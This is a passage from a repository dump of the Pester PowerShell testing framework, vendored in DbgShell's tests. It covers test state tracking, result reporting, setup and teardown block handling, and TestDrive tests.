[Switch]$Strict, [Pester.OutputTypes]$Show, [object]$PesterOption ) #public read-only $TagFilter = $_tagFilter $ExcludeTagFilter = $_excludeTagFilter $TestNameFilter = $_testNameFilter $script:SessionState = $_sessionState $script:CurrentContext = "" $script:CurrentDescribe = "" $script:CurrentTest = "" $script:Stopwatch = [System.Diagnostics.Stopwatch]::StartNew() $script:MostRecentTimestamp = 0 $script:CommandCoverage = @() $script:BeforeEach = @() $script:AfterEach = @() $script:BeforeAll = @() $script:AfterAll = @() $script:Strict = $Strict $script:Show = $Show $script:TestResult = @() $script:TotalCount = 0 $script:Time = [timespan]0 $script:PassedCount = 0 $script:FailedCount = 0 $script:SkippedCount = 0 $script:PendingCount = 0 $script:InconclusiveCount = 0 $script:IncludeVSCodeMarker = $PesterOption.IncludeVSCodeMarker $script:SafeCommands = @{} $script:SafeCommands['New-Object'] = & (Pester\SafeGetCommand) -Name New-Object -Module Microsoft.PowerShell.Utility -CommandType Cmdlet $script:SafeCommands['Select-Object'] = & (Pester\SafeGetCommand) -Name Select-Object -Module Microsoft.PowerShell.Utility -CommandType Cmdlet $script:SafeCommands['Export-ModuleMember'] = & (Pester\SafeGetCommand) -Name Export-ModuleMember -Module Microsoft.PowerShell.Core -CommandType Cmdlet $script:SafeCommands['Add-Member'] = & (Pester\SafeGetCommand) -Name Add-Member -Module Microsoft.PowerShell.Utility -CommandType Cmdlet function EnterDescribe([string]$Name) { if ($CurrentDescribe) { throw & $SafeCommands['New-Object'] InvalidOperationException "You already are in Describe, you cannot enter Describe twice" } $script:CurrentDescribe = $Name } function LeaveDescribe { if ( $CurrentContext ) { throw & $SafeCommands['New-Object'] InvalidOperationException "Cannot leave Describe before leaving Context" } $script:CurrentDescribe = $null } function EnterContext([string]$Name) { if ( -not $CurrentDescribe ) { throw & $SafeCommands['New-Object'] InvalidOperationException "Cannot enter Context before entering Describe" } if ( $CurrentContext ) { throw & $SafeCommands['New-Object'] InvalidOperationException "You already are in Context, you cannot enter Context twice" } if ($CurrentTest) { throw & $SafeCommands['New-Object'] InvalidOperationException "You already are in It, you cannot enter Context inside It" } $script:CurrentContext = $Name } function LeaveContext { if ($CurrentTest) { throw & $SafeCommands['New-Object'] InvalidOperationException "Cannot leave Context before leaving It" } $script:CurrentContext = $null } function EnterTest([string]$Name) { if (-not $script:CurrentDescribe) { throw & $SafeCommands['New-Object'] InvalidOperationException "Cannot enter It before entering Describe" } if ( $CurrentTest ) { throw & $SafeCommands['New-Object'] InvalidOperationException "You already are in It, you cannot enter It twice" } $script:CurrentTest = $Name } function LeaveTest { $script:CurrentTest = $null } function AddTestResult { param ( [string]$Name, [ValidateSet("Failed","Passed","Skipped","Pending","Inconclusive")] [string]$Result, [Nullable[TimeSpan]]$Time, [string]$FailureMessage, [string]$StackTrace, [string] $ParameterizedSuiteName, [System.Collections.IDictionary] $Parameters, [System.Management.Automation.ErrorRecord] $ErrorRecord ) $previousTime = $script:MostRecentTimestamp $script:MostRecentTimestamp = $script:Stopwatch.Elapsed if ($null -eq $Time) { $Time = $script:MostRecentTimestamp - $previousTime } if (-not $script:Strict) { $Passed = "Passed","Skipped","Pending" -contains $Result } else { $Passed = $Result -eq "Passed" if (($Result -eq "Skipped") -or ($Result -eq "Pending")) { $FailureMessage = "The test failed because the test was executed in Strict mode and the result '$result' was translated to Failed." $Result = "Failed" } } $script:TotalCount++ $script:Time += $Time switch ($Result) { Passed { $script:PassedCount++; break; } Failed { $script:FailedCount++; break; } Skipped { $script:SkippedCount++; break; } Pending { $script:PendingCount++; break; } Inconclusive { $script:InconclusiveCount++; break; } } $Script:TestResult += & $SafeCommands['New-Object'] -TypeName PsObject -Property @{ Describe = $CurrentDescribe Context = $CurrentContext Name = $Name Passed = $Passed Result = $Result Time = $Time FailureMessage = $FailureMessage StackTrace = $StackTrace ErrorRecord = $ErrorRecord ParameterizedSuiteName = $ParameterizedSuiteName Parameters = $Parameters } | & $SafeCommands['Select-Object'] Describe, Context, Name, Result, Passed, Time, FailureMessage, StackTrace, ErrorRecord, ParameterizedSuiteName, Parameters } $ExportedVariables = "TagFilter", "ExcludeTagFilter", "TestNameFilter", "TestResult", "CurrentContext", "CurrentDescribe", "CurrentTest", "SessionState", "CommandCoverage", "BeforeEach", "AfterEach", "BeforeAll", "AfterAll", "Strict", "Show", "Time", "TotalCount", "PassedCount", "FailedCount", "SkippedCount", "PendingCount", "InconclusiveCount", "IncludeVSCodeMarker" $ExportedFunctions = "EnterContext", "LeaveContext", "EnterDescribe", "LeaveDescribe", "EnterTest", "LeaveTest", "AddTestResult" & $SafeCommands['Export-ModuleMember'] -Variable $ExportedVariables -function $ExportedFunctions } -ArgumentList $TagFilter, $ExcludeTagFilter, $TestNameFilter, $SessionState, $Strict, $Show, $PesterOption | & $SafeCommands['Add-Member'] -MemberType ScriptProperty -Name Scope -Value { if ($this.CurrentTest) { 'It' } elseif ($this.CurrentContext) { 'Context' } elseif ($this.CurrentDescribe) { 'Describe' } else { $null } } -Passthru | & $SafeCommands['Add-Member'] -MemberType ScriptProperty -Name ParentScope -Value { $parentScope = $null $scope = $this.Scope if ($scope -eq 'It' -and $this.CurrentContext) { $parentScope = 'Context' } if ($null -eq $parentScope -and $scope -ne 'Describe' -and $this.CurrentDescribe) { $parentScope = 'Describe' } return $parentScope } -PassThru } function Write-Describe { param ( [Parameter(mandatory=$true, valueFromPipeline=$true)]$Name ) process { Write-Screen Describing $Name -OutputType Describe } } function Write-Context { param ( [Parameter(mandatory=$true, valueFromPipeline=$true)]$Name ) process { $margin = " " * 3 Write-Screen ${margin}Context $Name -OutputType Context } } function Write-PesterResult { param ( [Parameter(mandatory=$true, valueFromPipeline=$true)] $TestResult ) process { $testDepth = if ( $TestResult.Context ) { 4 } elseif ( $TestResult.Describe ) { 1 } else { 0 } $margin = " " * $TestDepth $error_margin = $margin + " " $output = $TestResult.name $humanTime = Get-HumanTime $TestResult.Time.TotalSeconds switch ($TestResult.Result) { Passed { "$margin[+] $output $humanTime" | Write-Screen -OutputType Passed break } Failed { "$margin[-] $output $humanTime" | Write-Screen -OutputType Failed $failureLines = $TestResult.ErrorRecord | ConvertTo-FailureLines if ($Pester.IncludeVSCodeMarker) { $marker = $failureLines | & $script:SafeCommands['Select-Object'] -First 1 -ExpandProperty Trace | & $script:SafeCommands['Select-Object'] -First 1 Write-Screen -OutputType Failed $($marker -replace '(?m)^',$error_margin) } $failureLines | & $SafeCommands['ForEach-Object'] {$_.Message + $_.Trace} | & $SafeCommands['ForEach-Object'] { Write-Screen -OutputType Failed $($_ -replace '(?m)^',$error_margin) } } Skipped { "$margin[!] $output $humanTime" | Write-Screen -OutputType Skipped break } Pending { "$margin[?] $output $humanTime" | Write-Screen -OutputType Pending break } Inconclusive { "$margin[?] $output $humanTime" | Write-Screen -OutputType Inconclusive if ($testresult.FailureMessage) { Write-Screen -OutputType Inconclusive $($TestResult.failureMessage -replace '(?m)^',$error_margin) } Write-Screen -OutputType Inconclusive $($TestResult.stackTrace -replace '(?m)^',$error_margin) break } } } } function ConvertTo-FailureLines { param ( [Parameter(mandatory=$true, valueFromPipeline=$true)] $ErrorRecord ) process { $lines = & $script:SafeCommands['New-Object'] psobject -Property @{ Message = @() Trace = @() } ## convert the exception messages $exception = $ErrorRecord.Exception $exceptionLines = @() while ($exception) { $exceptionName = $exception.GetType().Name $thisLines = $exception.Message.Split([Environment]::NewLine, [System.StringSplitOptions]::RemoveEmptyEntries) if ($ErrorRecord.FullyQualifiedErrorId -ne 'PesterAssertionFailed') { $thisLines[0] = "$exceptionName`: $($thisLines[0])" } [array]::Reverse($thisLines) $exceptionLines += $thisLines $exception = $exception.InnerException } [array]::Reverse($exceptionLines) $lines.Message += $exceptionLines if ($ErrorRecord.FullyQualifiedErrorId -eq 'PesterAssertionFailed') { $lines.Message += "$($ErrorRecord.TargetObject.Line)`: $($ErrorRecord.TargetObject.LineText)".Split([Environment]::NewLine, [System.StringSplitOptions]::RemoveEmptyEntries) } if ( -not ($ErrorRecord | & $SafeCommands['Get-Member'] -Name ScriptStackTrace) ) { if ($ErrorRecord.FullyQualifiedErrorID -eq 'PesterAssertionFailed') { $lines.Trace += "at line: $($ErrorRecord.TargetObject.Line) in $($ErrorRecord.TargetObject.File)" } else { $lines.Trace += "at line: $($ErrorRecord.InvocationInfo.ScriptLineNumber) in $($ErrorRecord.InvocationInfo.ScriptName)" } return $lines } ## convert the stack trace $traceLines = $ErrorRecord.ScriptStackTrace.Split([Environment]::NewLine, [System.StringSplitOptions]::RemoveEmptyEntries) $count = 0 # omit the lines internal to Pester foreach ( $line in $traceLines ) { if ( $line -match '^at (Invoke-Test|Context|Describe|InModuleScope|Invoke-Pester), .*\\Functions\\.*.ps1: line [0-9]*$' ) { break } $count ++ } $lines.Trace += $traceLines | & $SafeCommands['Select-Object'] -First $count | & $SafeCommands['Where-Object'] { $_ -notmatch '^at Should, .*\\Functions\\Assertions\\Should.ps1: line [0-9]*$' -and $_ -notmatch '^at Assert-MockCalled, .*\\Functions\\Mock.ps1: line [0-9]*$' } return $lines } } function Write-PesterReport { param ( [Parameter(mandatory=$true, valueFromPipeline=$true)] $PesterState ) Write-Screen "Tests completed in $(Get-HumanTime $PesterState.Time.TotalSeconds)" -OutputType "Summary" Write-Screen ("Passed: {0}, Failed: {1}, Skipped: {2}, Pending: {3}, Inconclusive: {4}" -f $PesterState.PassedCount, $PesterState.FailedCount, $PesterState.SkippedCount, $PesterState.PendingCount, $PesterState.InconclusiveCount) -OutputType "Summary" } function Write-Screen { #wraps the Write-Host cmdlet to control if the output is written to screen from one place param( #Write-Host parameters [Parameter(Position=0, ValueFromPipeline=$true, ValueFromRemainingArguments=$true)] [Object] $Object, [Switch] $NoNewline, [Object] $Separator, #custom parameters [Pester.OutputTypes] $OutputFilter = $pester.Show, [Pester.OutputTypes] $OutputType = 'Default' ) begin { $quiet = $OutputFilter -eq [Pester.OutputTypes]::None $writeToScreen = $OutputFilter | Has-Flag $OutputType $skipOutput = $quiet -or (-not $writeToScreen) if ($skipOutput) { return } #make the bound parameters compatible with Write-Host if ($PSBoundParameters.ContainsKey('OutputFilter')) { $PSBoundParameters.Remove('OutputFilter') | & $SafeCommands['Out-Null'] } if ($PSBoundParameters.ContainsKey('OutputType')) { $PSBoundParameters.Remove('OutputType') | & $SafeCommands['Out-Null'] } if (-not ($OutputType | Has-Flag 'Default, Summary')) { #create the key first to make it work in strict mode if (-not $PSBoundParameters.ContainsKey('ForegroundColor')) { $PSBoundParameters.Add('ForegroundColor', $null) } switch ($Host.Name) { #light background "PowerGUIScriptEditorHost" { $ColorSet = @{ Failed = [ConsoleColor]::Red Passed = [ConsoleColor]::DarkGreen Skipped = [ConsoleColor]::DarkGray Pending = [ConsoleColor]::DarkCyan Inconclusive = [ConsoleColor]::DarkCyan Describe = [ConsoleColor]::Magenta Context = [ConsoleColor]::Magenta } } #dark background { "Windows PowerShell ISE Host", "ConsoleHost" -contains $_ } { $ColorSet = @{ Failed = [ConsoleColor]::Red Passed = [ConsoleColor]::Green Skipped = [ConsoleColor]::Gray Pending = [ConsoleColor]::Cyan Inconclusive = [ConsoleColor]::Cyan Describe = [ConsoleColor]::Magenta Context = [ConsoleColor]::Magenta } } default { $ColorSet = @{ Failed = [ConsoleColor]::Red Passed = [ConsoleColor]::DarkGreen Skipped = [ConsoleColor]::Gray Pending = [ConsoleColor]::Gray Inconclusive = [ConsoleColor]::Gray Describe = [ConsoleColor]::Magenta Context = [ConsoleColor]::Magenta } } } # the output type must be forced to become string, otherwise the color is not found $PSBoundParameters.ForegroundColor = $ColorSet[$OutputType.ToString()] } try { $outBuffer = $null if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) { $PSBoundParameters['OutBuffer'] = 1 } $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Write-Host', [System.Management.Automation.CommandTypes]::Cmdlet) $scriptCmd = {& $wrappedCmd @PSBoundParameters } $steppablePipeline = $scriptCmd.GetSteppablePipeline($myInvocation.CommandOrigin) $steppablePipeline.Begin($PSCmdlet) } catch { throw } } process { if ($skipOutput) { return } try { $steppablePipeline.Process($_) } catch { throw } } end { if ($skipOutput) { return } try { $steppablePipeline.End() } catch { throw } } } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/SetupTeardown.Tests.ps1 ================================================ Describe 'Describe-Scoped Test Case setup' { BeforeEach { $testVariable = 'From BeforeEach' } $testVariable = 'Set in Describe' It 'Assigns the correct value in first test' { $testVariable | Should Be 'From BeforeEach' $testVariable = 'Set in It' } It 'Assigns the correct value in subsequent tests' { $testVariable | Should Be 'From BeforeEach' } } Describe 'Context-scoped Test Case setup' { $testVariable = 'Set in Describe' Context 'The context' { BeforeEach { $testVariable = 'From BeforeEach' } It 'Assigns the correct value inside the context' { $testVariable | Should Be 'From BeforeEach' } } It 'Reports the original value after the Context' { $testVariable | Should Be 'Set in Describe' } } Describe 'Multiple Test Case setup blocks' { $testVariable = 'Set in Describe' BeforeEach { $testVariable = 'Set in Describe BeforeEach' } Context 'The context' { It 'Executes Describe setup blocks first, then Context blocks in the order they were defined (even if they are defined after the It block.)' { $testVariable | Should Be 'Set in the second Context BeforeEach' } BeforeEach { $testVariable = 'Set in the first Context BeforeEach' } BeforeEach { $testVariable = 'Set in the second Context BeforeEach' } } It 'Continues to execute Describe setup blocks after the Context' { $testVariable | Should Be 'Set in Describe BeforeEach' } } Describe 'Describe-scoped Test Case teardown' { $testVariable = 'Set in Describe' AfterEach { $testVariable = 'Set in AfterEach' } It 'Does not modify the variable before the first test' { $testVariable | Should Be 'Set in Describe' } It 'Modifies the variable after the first test' { $testVariable | Should Be 'Set in AfterEach' } } Describe 'Multiple Test Case teardown blocks' { $testVariable = 'Set in Describe' AfterEach { $testVariable = 'Set in Describe AfterEach' } Context 'The context' { AfterEach { $testVariable = 'Set in the first Context AfterEach' } It 'Performs a test in Context' { "some output to prevent the It being marked as Pending and failing because of Strict mode"} It 'Executes Describe teardown blocks after Context teardown blocks' { $testVariable | Should Be 'Set in the second Describe AfterEach' } } AfterEach { $testVariable = 'Set in the second Describe AfterEach' } } $script:DescribeBeforeAllCounter = 0 $script:DescribeAfterAllCounter = 0 $script:ContextBeforeAllCounter = 0 $script:ContextAfterAllCounter = 0 Describe 'Test Group Setup and Teardown' { It 'Executed the Describe BeforeAll regardless of definition order' { $script:DescribeBeforeAllCounter | Should Be 1 } It 'Did not execute any other block yet' { $script:DescribeAfterAllCounter | Should Be 0 $script:ContextBeforeAllCounter | Should Be 0 $script:ContextAfterAllCounter | Should Be 0 } BeforeAll { $script:DescribeBeforeAllCounter++ } AfterAll { $script:DescribeAfterAllCounter++ } Context 'Context scoped setup and teardown' { BeforeAll { $script:ContextBeforeAllCounter++ } AfterAll { $script:ContextAfterAllCounter++ } It 'Executed the Context BeforeAll block' { $script:ContextBeforeAllCounter | Should Be 1 } It 'Has not executed any other blocks yet' { $script:DescribeBeforeAllCounter | Should Be 1 $script:DescribeAfterAllCounter | Should Be 0 $script:ContextAfterAllCounter | Should Be 0 } } It 'Executed the Context AfterAll block' { $script:ContextAfterAllCounter | Should Be 1 } } Describe 'Finishing TestGroup Setup and Teardown tests' { It 'Executed each Describe and Context group block once' { $script:DescribeBeforeAllCounter | Should Be 1 $script:DescribeAfterAllCounter | Should Be 1 $script:ContextBeforeAllCounter | Should Be 1 $script:ContextAfterAllCounter | Should Be 1 } } if ($PSVersionTable.PSVersion.Major -ge 3) { $thisTestScriptFilePath = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($PSCommandPath) Describe 'Script Blocks and file association (testing automatic variables)' { BeforeEach { $commandPath = $PSCommandPath } $beforeEachBlock = InModuleScope Pester { $pester.BeforeEach[0].ScriptBlock } It 'Creates script block objects associated with the proper file' { $scriptBlockFilePath = $ExecutionContext.SessionState.Path.GetUnresolvedProviderPathFromPSPath($beforeEachBlock.File) $scriptBlockFilePath | Should Be $thisTestScriptFilePath } It 'Has the correct automatic variable values inside the BeforeEach block' { $commandPath | Should Be $PSCommandPath } } } #Testing if failing setup or teardown will fail 'It' is done in the TestsRunningInCleanRunspace.Tests.ps1 file ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/SetupTeardown.ps1 ================================================ function BeforeEach { <# .SYNOPSIS Defines a series of steps to perform at the beginning of every It block within the current Context or Describe block. .DESCRIPTION BeforeEach, AfterEach, BeforeAll, and AfterAll are unique in that they apply to the entire Context or Describe block, regardless of the order of the statements in the Context or Describe. For a full description of this behavior, as well as how multiple BeforeEach or AfterEach blocks interact with each other, please refer to the about_BeforeEach_AfterEach help file. .LINK about_BeforeEach_AfterEach #> Assert-DescribeInProgress -CommandName BeforeEach } function AfterEach { <# .SYNOPSIS Defines a series of steps to perform at the end of every It block within the current Context or Describe block. .DESCRIPTION BeforeEach, AfterEach, BeforeAll, and AfterAll are unique in that they apply to the entire Context or Describe block, regardless of the order of the statements in the Context or Describe. For a full description of this behavior, as well as how multiple BeforeEach or AfterEach blocks interact with each other, please refer to the about_BeforeEach_AfterEach help file. .LINK about_BeforeEach_AfterEach #> Assert-DescribeInProgress -CommandName AfterEach } function BeforeAll { <# .SYNOPSIS Defines a series of steps to perform at the beginning of the current Context or Describe block. .DESCRIPTION BeforeEach, AfterEach, BeforeAll, and AfterAll are unique in that they apply to the entire Context or Describe block, regardless of the order of the statements in the Context or Describe. .LINK about_BeforeEach_AfterEach #> Assert-DescribeInProgress -CommandName BeforeAll } function AfterAll { <# .SYNOPSIS Defines a series of steps to perform at the end of every It block within the current Context or Describe block. .DESCRIPTION BeforeEach, AfterEach, BeforeAll, and AfterAll are unique in that they apply to the entire Context or Describe block, regardless of the order of the statements in the Context or Describe. .LINK about_BeforeEach_AfterEach #> Assert-DescribeInProgress -CommandName AfterAll } function Clear-SetupAndTeardown { $pester.BeforeEach = @( $pester.BeforeEach | & $SafeCommands['Where-Object'] { $_.Scope -ne $pester.Scope } ) $pester.AfterEach = @( $pester.AfterEach | & $SafeCommands['Where-Object'] { $_.Scope -ne $pester.Scope } ) $pester.BeforeAll = @( $pester.BeforeAll | & $SafeCommands['Where-Object'] { $_.Scope -ne $pester.Scope } ) $pester.AfterAll = @( $pester.AfterAll | & $SafeCommands['Where-Object'] { $_.Scope -ne $pester.Scope } ) } function Invoke-TestCaseSetupBlocks { $orderedSetupBlocks = @( $pester.BeforeEach | & $SafeCommands['Where-Object'] { $_.Scope -eq 'Describe' } | & $SafeCommands['Select-Object'] -ExpandProperty ScriptBlock $pester.BeforeEach | & $SafeCommands['Where-Object'] { $_.Scope -eq 'Context' } | & $SafeCommands['Select-Object'] -ExpandProperty ScriptBlock ) Invoke-Blocks -ScriptBlock $orderedSetupBlocks } function Invoke-TestCaseTeardownBlocks { $orderedTeardownBlocks = @( $pester.AfterEach | & $SafeCommands['Where-Object'] { $_.Scope -eq 'Context' } | & $SafeCommands['Select-Object'] -ExpandProperty ScriptBlock $pester.AfterEach | & $SafeCommands['Where-Object'] { $_.Scope -eq 'Describe' } | & $SafeCommands['Select-Object'] -ExpandProperty ScriptBlock ) Invoke-Blocks -ScriptBlock $orderedTeardownBlocks } function Invoke-TestGroupSetupBlocks { param ([string] $Scope) $scriptBlocks = $pester.BeforeAll | & $SafeCommands['Where-Object'] { $_.Scope -eq $Scope } | & $SafeCommands['Select-Object'] -ExpandProperty ScriptBlock Invoke-Blocks -ScriptBlock $scriptBlocks } function Invoke-TestGroupTeardownBlocks { param ([string] $Scope) $scriptBlocks = $pester.AfterAll | & $SafeCommands['Where-Object'] { $_.Scope -eq $Scope } | & $SafeCommands['Select-Object'] -ExpandProperty ScriptBlock Invoke-Blocks -ScriptBlock $scriptBlocks } function Invoke-Blocks { param ([scriptblock[]] $ScriptBlock) foreach ($block in $ScriptBlock) { if ($null -eq $block) { continue } $null = . $block } } function Add-SetupAndTeardown { param ( [scriptblock] $ScriptBlock ) if ($PSVersionTable.PSVersion.Major -le 2) { Add-SetupAndTeardownV2 -ScriptBlock $ScriptBlock } else { Add-SetupAndTeardownV3 -ScriptBlock $ScriptBlock } } function Add-SetupAndTeardownV3 { param ( [scriptblock] $ScriptBlock ) $pattern = '^(?:Before|After)(?:Each|All)$' $predicate = { param ([System.Management.Automation.Language.Ast] $Ast) $Ast -is [System.Management.Automation.Language.CommandAst] -and $Ast.CommandElements.Count -eq 2 -and $Ast.CommandElements[0].ToString() -match $pattern -and $Ast.CommandElements[1] -is [System.Management.Automation.Language.ScriptBlockExpressionAst] } $searchNestedBlocks = $false $calls = $ScriptBlock.Ast.FindAll($predicate, $searchNestedBlocks) foreach ($call in $calls) { # For some reason, calling ScriptBlockAst.GetScriptBlock() sometimes blows up due to failing semantics # checks, even though the code is perfectly valid. So we'll poke around with reflection again to skip # that part and just call the internal ScriptBlock constructor that we need $iPmdProviderType = [scriptblock].Assembly.GetType('System.Management.Automation.Language.IParameterMetadataProvider') $flags = [System.Reflection.BindingFlags]'Instance, NonPublic' $constructor = [scriptblock].GetConstructor($flags, $null, [Type[]]@($iPmdProviderType, [bool]), $null) $block = $constructor.Invoke(@($call.CommandElements[1].ScriptBlock, $false)) Set-ScriptBlockScope -ScriptBlock $block -SessionState $pester.SessionState $commandName = $call.CommandElements[0].ToString() Add-SetupOrTeardownScriptBlock -CommandName $commandName -ScriptBlock $block } } function Add-SetupAndTeardownV2 { param ( [scriptblock] $ScriptBlock ) $codeText = $ScriptBlock.ToString() $tokens = @(ParseCodeIntoTokens -CodeText $codeText) for ($i = 0; $i -lt $tokens.Count; $i++) { $token = $tokens[$i] $type = $token.Type if ($type -eq [System.Management.Automation.PSTokenType]::Command -and (IsSetupOrTeardownCommand -CommandName $token.Content)) { $openBraceIndex, $closeBraceIndex = Get-BraceIndicesForCommand -Tokens $tokens -CommandIndex $i $block = Get-ScriptBlockFromTokens -Tokens $Tokens -OpenBraceIndex $openBraceIndex -CloseBraceIndex $closeBraceIndex -CodeText $codeText Add-SetupOrTeardownScriptBlock -CommandName $token.Content -ScriptBlock $block $i = $closeBraceIndex } elseif ($type -eq [System.Management.Automation.PSTokenType]::GroupStart) { # We don't want to parse Setup or Teardown commands in child scopes here, so anything # bounded by a GroupStart / GroupEnd token pair which is not immediately preceded by # a setup / teardown command name is ignored. $i = Get-GroupCloseTokenIndex -Tokens $tokens -GroupStartTokenIndex $i } } } function ParseCodeIntoTokens { param ([string] $CodeText) $parseErrors = $null $tokens = [System.Management.Automation.PSParser]::Tokenize($CodeText, [ref] $parseErrors) if ($parseErrors.Count -gt 0) { $currentScope = $pester.Scope throw "The current $currentScope block contains syntax errors." } return $tokens } function IsSetupOrTeardownCommand { param ([string] $CommandName) return (IsSetupCommand -CommandName $CommandName) -or (IsTeardownCommand -CommandName $CommandName) } function IsSetupCommand { param ([string] $CommandName) return $CommandName -eq 'BeforeEach' -or $CommandName -eq 'BeforeAll' } function IsTeardownCommand { param ([string] $CommandName) return $CommandName -eq 'AfterEach' -or $CommandName -eq 'AfterAll' } function IsTestGroupCommand { param ([string] $CommandName) return $CommandName -eq 'BeforeAll' -or $CommandName -eq 'AfterAll' } function Get-BraceIndicesForCommand { param ( [System.Management.Automation.PSToken[]] $Tokens, [int] $CommandIndex ) $openingGroupTokenIndex = Get-GroupStartTokenForCommand -Tokens $Tokens -CommandIndex $CommandIndex $closingGroupTokenIndex = Get-GroupCloseTokenIndex -Tokens $Tokens -GroupStartTokenIndex $openingGroupTokenIndex return $openingGroupTokenIndex, $closingGroupTokenIndex } function Get-GroupStartTokenForCommand { param ( [System.Management.Automation.PSToken[]] $Tokens, [int] $CommandIndex ) # We may want to allow newlines, other parameters, etc at some point. For now it's good enough to # just verify that the next token after our BeforeEach or AfterEach command is an opening curly brace. $commandName = $Tokens[$CommandIndex].Content if ($CommandIndex + 1 -ge $tokens.Count -or $tokens[$CommandIndex + 1].Type -ne [System.Management.Automation.PSTokenType]::GroupStart -or $tokens[$CommandIndex + 1].Content -ne '{') { throw "The $commandName command must be immediately followed by the opening brace of a script block." } return $CommandIndex + 1 } & $SafeCommands['Add-Type'] -TypeDefinition @' namespace Pester { using System; using System.Management.Automation; public static class ClosingBraceFinder { public static int GetClosingBraceIndex(PSToken[] tokens, int startIndex) { int groupLevel = 1; int len = tokens.Length; for (int i = startIndex + 1; i < len; i++) { PSTokenType type = tokens[i].Type; if (type == PSTokenType.GroupStart) { groupLevel++; } else if (type == PSTokenType.GroupEnd) { groupLevel--; if (groupLevel <= 0) { return i; } } } return -1; } } } '@ function Get-GroupCloseTokenIndex { param ( [System.Management.Automation.PSToken[]] $Tokens, [int] $GroupStartTokenIndex ) $closeIndex = [Pester.ClosingBraceFinder]::GetClosingBraceIndex($Tokens, $GroupStartTokenIndex) if ($closeIndex -lt 0) { throw 'No corresponding GroupEnd token was found.' } return $closeIndex } function Get-ScriptBlockFromTokens { param ( [System.Management.Automation.PSToken[]] $Tokens, [int] $OpenBraceIndex, [int] $CloseBraceIndex, [string] $CodeText ) $blockStart = $Tokens[$OpenBraceIndex + 1].Start $blockLength = $Tokens[$CloseBraceIndex].Start - $blockStart $setupOrTeardownCodeText = $codeText.Substring($blockStart, $blockLength) $scriptBlock = [scriptblock]::Create($setupOrTeardownCodeText) Set-ScriptBlockScope -ScriptBlock $scriptBlock -SessionState $pester.SessionState return $scriptBlock } function Add-SetupOrTeardownScriptBlock { param ( [string] $CommandName, [scriptblock] $ScriptBlock ) $isSetupCommand = IsSetupCommand -CommandName $CommandName $isGroupCommand = IsTestGroupCommand -CommandName $CommandName if ($isSetupCommand) { if ($isGroupCommand) { Add-BeforeAll -ScriptBlock $ScriptBlock } else { Add-BeforeEach -ScriptBlock $ScriptBlock } } else { if ($isGroupCommand) { Add-AfterAll -ScriptBlock $ScriptBlock } else { Add-AfterEach -ScriptBlock $ScriptBlock } } } function Add-BeforeEach { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock ) $props = @{ Scope = $pester.Scope ScriptBlock = $ScriptBlock } $pester.BeforeEach += @(& $SafeCommands['New-Object'] psobject -Property $props) } function Add-AfterEach { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock ) $props = @{ Scope = $pester.Scope ScriptBlock = $ScriptBlock } $pester.AfterEach += @(& $SafeCommands['New-Object'] psobject -Property $props) } function Add-BeforeAll { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock ) $props = @{ Scope = $pester.Scope ScriptBlock = $ScriptBlock } $pester.BeforeAll += @(& $SafeCommands['New-Object'] psobject -Property $props) } function Add-AfterAll { [CmdletBinding()] param ( [Parameter(Mandatory = $true)] [scriptblock] $ScriptBlock ) $props = @{ Scope = $pester.Scope ScriptBlock = $ScriptBlock } $pester.AfterAll += @(& $SafeCommands['New-Object'] psobject -Property $props) } ================================================ FILE: DbgShell/x64/DbgShellTest/Pester/Functions/TestDrive.Tests.ps1 ================================================ Set-StrictMode -Version Latest if ($PSVersionTable.PSVersion.Major -lt 6 -or $IsWindows) { $tempPath = $env:TEMP } else { $tempPath = '/tmp' } Describe "Setup" { It "returns a location that is in a temp area" { $testDrivePath = (Get-Item $TestDrive).FullName $testDrivePath -like "$tempPath*" | Should Be $true } It "creates a drive location called TestDrive:" { "TestDrive:\" | Should Exist } } Describe "TestDrive" { It "handles creation of a drive with . characters in the path" { #TODO: currently untested but requirement needs to be here "preventing this from failing" } } Describe "Create filesystem with directories" { Setup -Dir "dir1" Setup -Dir "dir2" It "creates directory when called with no file content" { "TestDrive:\dir1" | Should Exist } It "creates another directory when called with no file content and doesnt remove first directory" { $result = Test-Path "TestDrive:\dir2" $result = $result -and (Test-Path "TestDrive:\dir1") $result | Should Be $true } } Describe "Create nested directory structure" { Setup -Dir "parent/child" It "creates parent directory" { "TestDrive:\parent" | Should Exist } It "creates child directory underneath parent" { "TestDrive:\parent\child" | Should Exist } } Describe "Create a file with no content" { Setup -File "file" It "creates file" { "TestDrive:\file" | Should Exist } It "also has no content" { Get-Content "TestDrive:\file" | Should BeNullOrEmpty } } Describe "Create a file with content" { Setup -File "file" "file contents" It "creates file" { "TestDrive:\file" | Should Exist } It "adds content to the file" { Get-Content "TestDrive:\file" | Should Be "file contents" } } Describe "Create file with passthru" { $thefile = Setup -File "thefile" -PassThru It "returns the file from the temp location" { $thefile.FullName -like "$tempPath*" | Should Be $true $thefile.Exists | Should Be $true } } Describe "Create directory with passthru" { $thedir = Setup -Dir "thedir" -PassThru It "returns the directory from the temp location" { $thedir.FullName -like "$tempPath*" | Should Be $true $thedir.Exists | Should Be $true } } Describe "TestDrive scoping" { $describe = Setup -File 'Describe' -PassThru Context "Describe file is available in context" { It "Finds the file" { $describe | Should Exist } #create file for the next test Setup -File 'Context' It "Creates It-scoped contents" { Setup -File 'It' 'TestDrive:\It' | Should Exist } It "Does not clear It-scoped contents on exit" { 'TestDrive:\It' | Should Exist } } It "Context file are removed when returning to Describe" { "TestDrive:\Context" | Should Not Exist } It "Describe file is still available in Describe" { $describe | Should Exist } } Describe "Cleanup" { Setup -Dir "foo" } Describe "Cleanup" { It "should have removed the temp folder from the previous fixture" { Test-Path "$TestDrive\foo" | Should Not Exist } It "should also remove the TestDrive:" { Test-Path "TestDrive:\foo" | Should Not Exist } } Describe "Cleanup when Remove-Item is mocked" { Mock Remove-Item {} Context "add a temp directory" { Setup -Dir "foo" } Context "next context" { It "should have removed the temp folder" { "$TestDrive\foo" | Should Not Exist } } } InModuleScope Pester { Describe "New-RandomTempDirectory" { It "creates randomly named directory" { $first = New-RandomTempDirectory $second = New-RandomTempDirectory $first | Remove-Item -Force $second | Remove-Item -Force $first.name | Should Not Be 